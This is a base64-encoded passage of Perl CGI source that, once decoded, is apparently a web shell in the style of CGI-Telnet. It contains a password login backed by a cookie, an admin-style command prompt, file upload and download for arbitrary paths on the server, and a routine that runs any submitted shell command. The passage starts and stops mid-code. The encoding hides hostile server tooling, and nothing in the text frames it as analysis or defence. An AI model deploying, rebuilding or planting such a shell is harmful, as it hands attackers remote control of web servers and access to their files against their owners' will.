JGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7CgkJJENvb2tpZXN7JGlkfSA9ICR2YWw7Cgl9Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0CiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50TG9nb3V0U2NyZWVuCnsKCXByaW50ICJDb25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj4iOwp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2FpbgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQZXJmb3JtTG9nb3V0CnsKCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD07XG4iOyAjIHJlbW92ZSBwYXNzd29yZCBjb29raWUKCSZQcmludFBhZ2VIZWFkZXIoInAiKTsKCSZQcmludExvZ291dFNjcmVlbjsKCgkmUHJpbnRMb2dpblNjcmVlbjsKCSZQcmludExvZ2luRm9ybTsKCSZQcmludFBhZ2VGb290ZXI7CglleGl0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgdG8gbG9naW4gdGhlIHVzZXIuIElmIHRoZSBwYXNzd29yZCBtYXRjaGVzLCBpdAojIGRpc3BsYXlzIGEgcGFnZSB0aGF0IGFsbG93cyB0aGUgdXNlciB0byBydW4gY29tbWFuZHMuIElmIHRoZSBwYXNzd29yZCBkb2Vucyd0CiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyCiMgdG8gbG9naW4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgUGVyZm9ybUxvZ2luIAp7CglpZigkTG9naW5QYXNzd29yZCBlcSAkUGFzc3dvcmQpICMgcGFzc3dvcmQgbWF0Y2hlZAoJewoJCXByaW50ICJTZXQtQ29va2llOiBTQVZFRFBXRD0kTG9naW5QYXNzd29yZDtcbiI7CgkJJlByaW50UGFnZUhlYWRlcjsKCQlwcmludCAmTGlzdERpcjsKCX0KCWVsc2UgIyBwYXNzd29yZCBkaWRuJ3QgbWF0Y2gKCXsKCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7CgkJJlByaW50TG9naW5TY3JlZW47CgkJaWYoJExvZ2luUGFzc3dvcmQgbmUgIiIpICMgc29tZSBwYXNzd29yZCB3YXMgZW50ZXJlZAoJCXsKCQkJJlByaW50TG9naW5GYWlsZWRNZXNzYWdlOwoKCQl9CgkJJlByaW50TG9naW5Gb3JtOwoJCSZQcmludFBhZ2VGb290ZXI7CgkJZXhpdDsKCX0KfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGNvbW1hbmRzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50Q29tbWFuZExpbmVJbnB1dEZvcm0KewoJbXkgJGRpcj0gIjxzcGFuIHN0eWxlPSdmb250OiAxMXB0IFZlcmRhbmE7IGZvbnQtd2VpZ2h0OiBib2xkOyc+Ii4mQWRkTGlua0RpcigiY29tbWFuZCIpLiI8L3NwYW4+IjsKCSRQcm9tcHQgPSAkV2luTlQgPyAiJGRpciA+ICIgOiAiPGZvbnQgY29sb3I9JyM2NmZmNjYnPlthZG1pblxAJFNlcnZlck5hbWUgJGRpcl1cJDwvZm9udD4gIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iY29tbWFuZCI+Cgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgokUHJvbXB0CjxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI1MCIgbmFtZT0iYyI+CjxpbnB1dCBjbGFzcz0ic3VibWl0InR5cGU9InN1Ym1pdCIgdmFsdWU9IkVudGVyIj4KPC9mb3JtPgpFTkQKfQoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZURvd25sb2FkRm9ybQp7CglteSAkZGlyID0gJkFkZExpbmtEaXIoImRvd25sb2FkIik7IAoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+CiRQcm9tcHQgZG93bmxvYWQ8YnI+PGJyPgpGaWxlbmFtZTogPGlucHV0IGNsYXNzPSJmaWxlIiB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSIzNSI+PGJyPjxicj4KRG93bmxvYWQ6IDxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJCZWdpbiI+Cgo8L2Zvcm0+CkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gdXBsb2FkIGZpbGVzCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0KewoJbXkgJGRpcj0gJkFkZExpbmtEaXIoInVwbG9hZCIpOwoJJFByb21wdCA9ICRXaW5OVCA/ICIkZGlyID4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQgIjsKCXJldHVybiA8PEVORDsKPGZvcm0gbmFtZT0iZiIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+CiRQcm9tcHQgdXBsb2FkPGJyPjxicj4KRmlsZW5hbWU6IDxpbnB1dCBjbGFzcz0iZmlsZSIgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+Ck9wdGlvbnM6ICZuYnNwOzxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0ibyIgaWQ9InVwIiB2YWx1ZT0ib3ZlcndyaXRlIj4KPGxhYmVsIGZvcj0idXAiPk92ZXJ3cml0ZSBpZiBpdCBFeGlzdHM8L2xhYmVsPjxicj48YnI+ClVwbG9hZDombmJzcDsmbmJzcDsmbmJzcDs8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmVnaW4iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJkIiB2YWx1ZT0iJEN1cnJlbnREaXIiPgo8aW5wdXQgY2xhc3M9InN1Ym1pdCIgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4KCjwvZm9ybT4KCkVORAp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdGltZW91dCBmb3IgYSBjb21tYW5kIGV4cGlyZXMuIFdlIG5lZWQgdG8KIyB0ZXJtaW5hdGUgdGhlIHNjcmlwdCBpbW1lZGlhdGVseS4gVGhpcyBmdW5jdGlvbiBpcyB2YWxpZCBvbmx5IG9uIFVuaXguIEl0IGlzCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBDb21tYW5kVGltZW91dAp7CglpZighJFdpbk5UKQoJewoJCWFsYXJtKDApOwoJCXJldHVybiA8PEVORDsKPC90ZXh0YXJlYT4KPGJyPjxmb250IGNvbG9yPXllbGxvdz4KQ29tbWFuZCBleGNlZWRlZCBtYXhpbXVtIHRpbWUgb2YgJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gc2Vjb25kKHMpLjwvZm9udD4KPGJyPjxmb250IHNpemU9JzYnIGNvbG9yPXJlZD5LaWxsZWQgaXQhPC9mb250PgpFTkQKCX0KfQoKCgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXIKIyB0byBkb3dubG9hZCB0aGUgc3BlY2lmaWVkIGZpbGUuIFRoZSBwYWdlIGFsc28gY29udGFpbnMgYSBhdXRvLXJlZnJlc2gKIyBmZWF0dXJlIHRoYXQgc3RhcnRzIHRoZSBkb3dubG9hZCBhdXRvbWF0aWNhbGx5LgojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFByaW50RG93bmxvYWRMaW5rUGFnZQp7Cglsb2NhbCgkRmlsZVVybCkgPSBAXzsKCW15ICRyZXN1bHQ9IiI7CglpZigtZSAkRmlsZVVybCkgIyBpZiB0aGUgZmlsZSBleGlzdHMKCXsKCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyCgkJJEZpbGVVcmwgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJCSREb3dubG9hZExpbmsgPSAiJFNjcmlwdExvY2F0aW9uP2E9ZG93bmxvYWQmZj0kRmlsZVVybCZvPWdvIjsKCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOwoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsKCQkkcmVzdWx0IC49IDw8RU5EOwpTZW5kaW5nIEZpbGUgJFRyYW5zZmVyRmlsZS4uLjxicj4KCklmIHRoZSBkb3dubG9hZCBkb2VzIG5vdCBzdGFydCBhdXRvbWF0aWNhbGx5LAo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPgpFTkQKCQkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJfQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdAoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkRmlsZVVybDogJCEiOwoJCSRyZXN1bHQgLj0gJlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiByZWFkcyB0aGUgc3BlY2lmaWVkIGZpbGUgZnJvbSB0aGUgZGlzayBhbmQgc2VuZHMgaXQgdG8gdGhlCiMgYnJvd3Nlciwgc28gdGhhdCBpdCBjYW4gYmUgZG93bmxvYWRlZCBieSB0aGUgdXNlci4KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgU2VuZEZpbGVUb0Jyb3dzZXIKewoJbXkgJHJlc3VsdCA9ICIiOwoJbG9jYWwoJFNlbmRGaWxlKSA9IEBfOwoJaWYob3BlbihTRU5ERklMRSwgJFNlbmRGaWxlKSkgIyBmaWxlIG9wZW5lZCBmb3IgcmVhZGluZwoJewoJCWlmKCRXaW5OVCkKCQl7CgkJCWJpbm1vZGUoU0VOREZJTEUpOwoJCQliaW5tb2RlKFNURE9VVCk7CgkJfQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOwoJCSgkRmlsZW5hbWUgPSAkU2VuZEZpbGUpID1+ICBtIShbXi9eXFxdKikkITsKCQlwcmludCAiQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXVua25vd25cbiI7CgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7CgkJcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSQxXG5cbiI7CgkJcHJpbnQgd2hpbGUoPFNFTkRGSUxFPik7CgkJY2xvc2UoU0VOREZJTEUpOwoJCWV4aXQoMSk7Cgl9CgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQoJewoJCSRyZXN1bHQgLj0gIkZhaWxlZCB0byBkb3dubG9hZCAkU2VuZEZpbGU6ICQhIjsKCQkkcmVzdWx0IC49JlByaW50RmlsZURvd25sb2FkRm9ybTsKCX0KCXJldHVybiAkcmVzdWx0Owp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHVzZXIgZG93bmxvYWRzIGEgZmlsZS4gSXQgZGlzcGxheXMgYSBtZXNzYWdlCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojIFRoaXMgZnVuY3Rpb24gaXMgYWxzbyBjYWxsZWQgd2hlbiB0aGUgdXNlciBjbGlja3Mgb24gdGhhdCBsaW5rLiBJbiB0aGlzIGNhc2UsCiMgdGhlIGZpbGUgaXMgcmVhZCBhbmQgc2VudCB0byB0aGUgYnJvd3Nlci4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgQmVnaW5Eb3dubG9hZAp7CgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwKCQkoISRXaW5OVCAmICgkVHJhbnNmZXJGaWxlID1+IG0vXlwvLykpKSAjIHBhdGggaXMgYWJzb2x1dGUKCXsKCQkkVGFyZ2V0RmlsZSA9ICRUcmFuc2ZlckZpbGU7Cgl9CgllbHNlICMgcGF0aCBpcyByZWxhdGl2ZQoJewoJCWNob3AoJFRhcmdldEZpbGUpIGlmKCRUYXJnZXRGaWxlID0gJEN1cnJlbnREaXIpID1+IG0vW1xcXC9dJC87CgkJJFRhcmdldEZpbGUgLj0gJFBhdGhTZXAuJFRyYW5zZmVyRmlsZTsKCX0KCglpZigkT3B0aW9ucyBlcSAiZ28iKSAjIHdlIGhhdmUgdG8gc2VuZCB0aGUgZmlsZQoJewoJCSZTZW5kRmlsZVRvQnJvd3NlcigkVGFyZ2V0RmlsZSk7Cgl9CgllbHNlICMgd2UgaGF2ZSB0byBzZW5kIG9ubHkgdGhlIGxpbmsgcGFnZQoJewoJCSZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciB3YW50cyB0byB1cGxvYWQgYSBmaWxlLiBJZiB0aGUKIyBmaWxlIGlzIG5vdCBzcGVjaWZpZWQsIGl0IGRpc3BsYXlzIGEgZm9ybSBhbGxvd2luZyB0aGUgdXNlciB0byBzcGVjaWZ5IGEKIyBmaWxlLCBvdGhlcndpc2UgaXQgc3RhcnRzIHRoZSB1cGxvYWQgcHJvY2Vzcy4KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVXBsb2FkRmlsZQp7CgkjIGlmIG5vIGZpbGUgaXMgc3BlY2lmaWVkLCBwcmludCB0aGUgdXBsb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJcmV0dXJuICZQcmludEZpbGVVcGxvYWRGb3JtOwoKCX0KCW15ICRyZXN1bHQ9IiI7CgkjIHN0YXJ0IHRoZSB1cGxvYWRpbmcgcHJvY2VzcwoJJHJlc3VsdCAuPSAiVXBsb2FkaW5nICRUcmFuc2ZlckZpbGUgdG8gJEN1cnJlbnREaXIuLi48YnI+IjsKCgkjIGdldCB0aGUgZnVsbGx5IHF1YWxpZmllZCBwYXRobmFtZSBvZiB0aGUgZmlsZSB0byBiZSBjcmVhdGVkCgljaG9wKCRUYXJnZXROYW1lKSBpZiAoJFRhcmdldE5hbWUgPSAkQ3VycmVudERpcikgPX4gbS9bXFxcL10kLzsKCSRUcmFuc2ZlckZpbGUgPX4gbSEoW14vXlxcXSopJCE7CgkkVGFyZ2V0TmFtZSAuPSAkUGF0aFNlcC4kMTsKCgkkVGFyZ2V0RmlsZVNpemUgPSBsZW5ndGgoJGlueydmaWxlZGF0YSd9KTsKCSMgaWYgdGhlIGZpbGUgZXhpc3RzIGFuZCB3ZSBhcmUgbm90IHN1cHBvc2VkIHRvIG92ZXJ3cml0ZSBpdAoJaWYoLWUgJFRhcmdldE5hbWUgJiYgJE9wdGlvbnMgbmUgIm92ZXJ3cml0ZSIpCgl7CgkJJHJlc3VsdCAuPSAiRmFpbGVkOiBEZXN0aW5hdGlvbiBmaWxlIGFscmVhZHkgZXhpc3RzLjxicj4iOwoJfQoJZWxzZSAjIGZpbGUgaXMgbm90IHByZXNlbnQKCXsKCQlpZihvcGVuKFVQTE9BREZJTEUsICI+JFRhcmdldE5hbWUiKSkKCQl7CgkJCWJpbm1vZGUoVVBMT0FERklMRSkgaWYgJFdpbk5UOwoJCQlwcmludCBVUExPQURGSUxFICRpbnsnZmlsZWRhdGEnfTsKCQkJY2xvc2UoVVBMT0FERklMRSk7CgkJCSRyZXN1bHQgLj0gIlRyYW5zZmVyZWQgJFRhcmdldEZpbGVTaXplIEJ5dGVzLjxicj4iOwoJCQkkcmVzdWx0IC49ICJGaWxlIFBhdGg6ICRUYXJnZXROYW1lPGJyPiI7CgkJfQoJCWVsc2UKCQl7CgkJCSRyZXN1bHQgLj0gIkZhaWxlZDogJCE8YnI+IjsKCQl9Cgl9CgkkcmVzdWx0IC49ICZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUaGlzIGZ1bmN0aW9uIGlzIGNhbGxlZCB3aGVuIHRoZSB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZS4gSWYgdGhlCiMgZmlsZW5hbWUgaXMgbm90IHNwZWNpZmllZCwgaXQgZGlzcGxheXMgYSBmb3JtIGFsbG93aW5nIHRoZSB1c2VyIHRvIHNwZWNpZnkgYQojIGZpbGUsIG90aGVyd2lzZSBpdCBkaXNwbGF5cyBhIG1lc3NhZ2UgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluawojIHRocm91Z2ggIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9hZGVkLgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBEb3dubG9hZEZpbGUKewoJIyBpZiBubyBmaWxlIGlzIHNwZWNpZmllZCwgcHJpbnQgdGhlIGRvd25sb2FkIGZvcm0gYWdhaW4KCWlmKCRUcmFuc2ZlckZpbGUgZXEgIiIpCgl7CgkJJlByaW50UGFnZUhlYWRlcigiZiIpOwoJCXJldHVybiAmUHJpbnRGaWxlRG93bmxvYWRGb3JtOwoJfQoJCgkjIGdldCBmdWxseSBxdWFsaWZpZWQgcGF0aCBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkCglpZigoJFdpbk5UICYgKCRUcmFuc2ZlckZpbGUgPX4gbS9eXFx8Xi46LykpIHwgKCEkV2luTlQgJiAoJFRyYW5zZmVyRmlsZSA9fiBtL15cLy8pKSkgIyBwYXRoIGlzIGFic29sdXRlCgl7CgkJJFRhcmdldEZpbGUgPSAkVHJhbnNmZXJGaWxlOwoJfQoJZWxzZSAjIHBhdGggaXMgcmVsYXRpdmUKCXsKCQljaG9wKCRUYXJnZXRGaWxlKSBpZigkVGFyZ2V0RmlsZSA9ICRDdXJyZW50RGlyKSA9fiBtL1tcXFwvXSQvOwoJCSRUYXJnZXRGaWxlIC49ICRQYXRoU2VwLiRUcmFuc2ZlckZpbGU7Cgl9CgoJaWYoJE9wdGlvbnMgZXEgImdvIikgIyB3ZSBoYXZlIHRvIHNlbmQgdGhlIGZpbGUKCXsKCQlyZXR1cm4gJlNlbmRGaWxlVG9Ccm93c2VyKCRUYXJnZXRGaWxlKTsKCX0KCWVsc2UgIyB3ZSBoYXZlIHRvIHNlbmQgb25seSB0aGUgbGluayBwYWdlCgl7CgkJcmV0dXJuICZQcmludERvd25sb2FkTGlua1BhZ2UoJFRhcmdldEZpbGUpOwoJfQp9CgoKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlCiMgY29tbWFuZCBhbmQgYWxsb3dzIHRoZSB1c2VyIHRvIGVudGVyIGFub3RoZXIgY29tbWFuZC4gVGhlIGNoYW5nZSBkaXJlY3RvcnkKIyBjb21tYW5kIGlzIGhhbmRsZWQgZGlmZmVyZW50bHkuIEluIHRoaXMgY2FzZSwgdGhlIG5ldyBkaXJlY3RvcnkgaXMgc3RvcmVkIGluCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQojIG91dHB1dCBvZiB0aGUgY2hhbmdlIGRpcmVjdG9yeSBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQgdG8gdGhlIHVzZXJzCiMgdGhlcmVmb3JlIGVycm9yIG1lc3NhZ2VzIGNhbm5vdCBiZSBkaXNwbGF5ZWQuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIEV4ZWN1dGVDb21tYW5kCnsKCW15ICRyZXN1bHQ9IiI7CglpZigkUnVuQ29tbWFuZCA9fiBtL15ccypjZFxzKyguKykvKSAjIGl0IGlzIGEgY2hhbmdlIGRpciBjb21tYW5kCgl7CgkJIyB3ZSBjaGFuZ2UgdGhlIGRpcmVjdG9yeSBpbnRlcm5hbGx5LiBUaGUgb3V0cHV0IG9mIHRoZQoJCSMgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkLgoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsKCQljaG9wKCRDdXJyZW50RGlyID0gYCRDb21tYW5kYCk7CgkJJHJlc3VsdCAuPSAmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsKCgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZCA8L3J1bj48YnI+PHRleHRhcmVhIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJIyB4dWF0IHRob25nIHRpbiBraGkgY2h1eWVuIGRlbiAxIHRodSBtdWMgbmFvIGRvIQoJCSRSdW5Db21tYW5kPSAkV2luTlQ/ImRpciI6ImRpciAtbGlhIjsKCQkkcmVzdWx0IC49ICZSdW5DbWQ7Cgl9ZWxzaWYoJFJ1bkNvbW1hbmQgPX4gbS9eXHMqZWRpdFxzKyguKykvKQoJewoJCSRyZXN1bHQgLj0gICZTYXZlRmlsZUZvcm07Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07CgkJJHJlc3VsdCAuPSAiQ29tbWFuZDogPHJ1bj4kUnVuQ29tbWFuZDwvcnVuPjxicj48dGV4dGFyZWEgaWQ9J2RhdGEnIGNvbHM9JyRjb2xzJyByb3dzPSckcm93cycgc3BlbGxjaGVjaz0nZmFsc2UnPiI7CgkJJHJlc3VsdCAuPSZSdW5DbWQ7Cgl9CgkkcmVzdWx0IC49ICAiPC90ZXh0YXJlYT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0KCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBydW4gY29t